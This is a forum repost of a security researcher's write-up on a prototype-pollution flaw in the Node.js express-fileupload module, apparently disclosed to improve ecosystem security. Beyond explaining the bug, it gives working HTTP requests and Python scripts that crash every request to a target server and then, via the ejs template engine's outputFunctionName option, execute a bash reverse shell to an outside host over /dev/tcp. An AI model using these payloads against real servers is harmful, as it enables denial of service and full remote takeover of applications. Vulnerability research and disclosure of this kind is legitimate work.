Nytro Posted July 30, 2020 Report Posted July 30, 2020 Real-world JS 1 Real-world JS Vulnerabilities Series 1 express-fileupload JavaScript Vulnerabilities (prototype pollution, redos, type confusion etc) is a popular topic in recent security competition such as CTFs But, there seems to be a lack of real-world research for them, so I started research to find it and share data. This research aims to improve the nodejs ecosystem security level. This vulnerability is in the first case about the express-fileupload. As shown in the name, this module provide file upload function as express middleware Until today, this express-fileupload has been downloaded a total of 7,193,433 times. The express-fileupload module provides several options for uploading and managing files in the nodejs application. Among them, the parseNested make argument flatten. Therefore, if we provide {"a.b.c": true} as an input, Internally, It will used as {"a": {"b": {"c": true}}} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 busboy.on('finish', () => { debugLog(options, `Busboy finished parsing request.`); if (options.parseNested) { req.body = processNested(req.body); req.files = processNested(req.files); } if (!req[waitFlushProperty]) return next(); Promise.all(req[waitFlushProperty]) .then(() => { delete req[waitFlushProperty]; next(); }).catch(err => { delete req[waitFlushProperty]; debugLog(options, `Error while waiting files flush: ${err}`); next(err); }); }); So, if options.parseNested has a value. If calls processNested Function, and argument will be req.body and req.files. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function processNested(data){ if (!data || data.length < 1) return {}; let d = {}, keys = Object.keys(data); for (let i = 0; i < keys.length; i++) { let key = keys[i], value = data[key], current = d, keyParts = key .replace(new RegExp(/\[/g), '.') .replace(new RegExp(/\]/g), '') .split('.'); for (let index = 0; index < keyParts.length; index++){ let k = keyParts[index]; if (index >= keyParts.length - 1){ current[k] = value; } else { if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {}; current = current[k]; } } } return d; }; The above is the full source of the processNested function. Here provides flatten function for key, of req.files. It split the key value of the first argument of object obtained through Object.keys(data) by . and makes loop using that, and refers/define object repeatedly. 1 2 3 4 let some_obj = JSON.parse(`{"__proto__.polluted": true}`); processNested(some_obj); console.log(polluted); // true! In this function, prototype pollution vulnerability is caused by the above usage. Therefore, if we can put manufactured objects in this function, it can affect the express web application. 1 2 3 4 5 6 7 8 9 10 11 const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.get('/', (req, res) => { res.end('express-fileupload poc'); }); app.listen(7777) Therefore, configure and run the express server using express-fileupload in the above form. 1 2 3 4 5 6 7 8 9 POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=--------1566035451 Content-Length: 123 ----------1566035451 Content-Disposition: form-data; name="name"; filename="filename" content ----------1566035451-- And I send the above POST request. Then we can confirm that the some object is given as the argument of processNested function. (I added code for debug) 1 2 3 4 5 6 7 8 9 POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=--------1566035451 Content-Length: 137 ----------1566035451 Content-Disposition: form-data; name="__proto__.toString"; filename="filename" content ----------1566035451-- Let’s try prototype pollution If we send this with the name changed to __proto__.toString. An object with the key __proto__.toString is created and call processNested function. and pollute toString method of Object.prototype. And from the moment this value is covered with a object that is not a function. The express application makes error for every request ! 1 2 3 var isRegExp = function isRegExp(obj) { return Object.prototype.toString.call(obj) === '[object RegExp]'; }; In the qs module used within the express, location.search part of the HTTP request will be parsed and make it to req.query object. In that logic, qs uses Object.prototype.toString. Therefore, this function called for every request in the express application (even if there is no search part) If Object.prototype.toString can be polluted, this will cause an error. and for every request, express always returns 500 error. 1 2 3 import requests res = requests.post('http://p6.is:7777', files = {'__proto__.toString': 'express-fileupload poc'}); Actually, if we use script above to pollute the prototype of server For all requests, the server returns either these error messages (development mode) or only a blank screen and 500 Internal Server Error! 😮 How to get shell? We can already make a DOS, but everyone wants a shell. So, I’ll describe one way to acquire shell through the vulnerability above. The simplest way to obtain shell through prototype solution in the express application is by using the ejs. Yes, There is a limitation to whether the application should be using the ejs template engine But the EJS is the most popular template engine for the nodejs and also used very often in combination with the express. If this vulnerability exists, you can bet on this. (no guaranteed 😏) 1 2 3 4 5 6 7 8 9 10 11 12 const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.get('/', (req, res) => { console.log(Object.prototype.polluted); res.render('index.ejs'); }); app.listen(7777); The above is an example of using the ejs module. There was only one line change in replacing the rendering engine. Because the parseNested option is still active, we can still pollute prototype. Unlike the above here, I will use req.body object. Because we can manipulated the value of that as string. 1 2 3 4 5 6 7 8 9 POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=--------1566035451 Content-Length: 137 ----------1566035451 Content-Disposition: form-data; name="__proto__.polluted"; content ----------1566035451-- Similar with above, but the filenameof Content-Disposition has been deleted. Then the value will go to req.body not req.files. ) By checking the values that enter the processNested function You can see that the values that were previously objects is now string. pollution happens the same as before. 1 2 3 4 5 6 7 8 9 10 function Template(text, opts) { opts = opts || {}; var options = {}; this.templateText = text; /** @type {string | null} */ ... options.outputFunctionName = opts.outputFunctionName; options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME; options.views = opts.views; options.async = opts.async; The target value to pollute is the outputFunctionName, which is an option in the ejs rendering function. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 compile: function () { /** @type {string} */ var src; /** @type {ClientFunction} */ var fn; var opts = this.opts; var prepended = ''; var appended = ''; /** @type {EscapeCallback} */ var escapeFn = opts.escapeFunction; /** @type {FunctionConstructor} */ var ctor; if (!this.source) { this.generateSource(); prepended += ' var __output = "";\n' + ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n'; if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; } if (opts.destructuredLocals && opts.destructuredLocals.length) { var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n'; for (var i = 0; i < opts.destructuredLocals.length; i++) { var name = opts.destructuredLocals[i]; if (i > 0) { destructuring += ',\n '; } destructuring += name + ' = __locals.' + name; } prepended += destructuring + ';\n'; } if (opts._with !== false) { prepended += ' with (' + opts.localsName + ' || {}) {' + '\n'; appended += ' }' + '\n'; } appended += ' return __output;' + '\n'; this.source = prepended + this.source + appended; } The ejs makes Function for implement their template and executing and the outputFunctionName option used in the process is included in the function. Therefore, if we can manipulate this value, any command can be executed. This technique was introduced by a Chinese CTF in 2019. Please refer to here for details. That part has not been patched so far, and it is expected to remain in the future. So we can take advantage of it. 1 2 3 4 5 6 7 8 9 POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=--------1566035451 Content-Length: 221 ----------1566035451 Content-Disposition: form-data; name="__proto__.outputFunctionName"; x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"');x ----------1566035451-- So first, we’re going to pollute the Object.prototype.outputFunctionName using the prototype pollution. 1 2 GET / HTTP/1.1 Host: p6.is:7777 and calls template function of ejs. Then we can get the shell ! If all the process can be represented by python: 1 2 3 4 5 6 7 8 9 10 import requests cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"' # pollute requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")}) # execute command requests.get('http://p6.is:7777') Reference https://github.com/richardgirges/express-fileupload/issues/236 https://www.npmjs.com/package/express-fileupload https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs Sursa: https://blog.p6.is/Real-World-JS-1/ Quote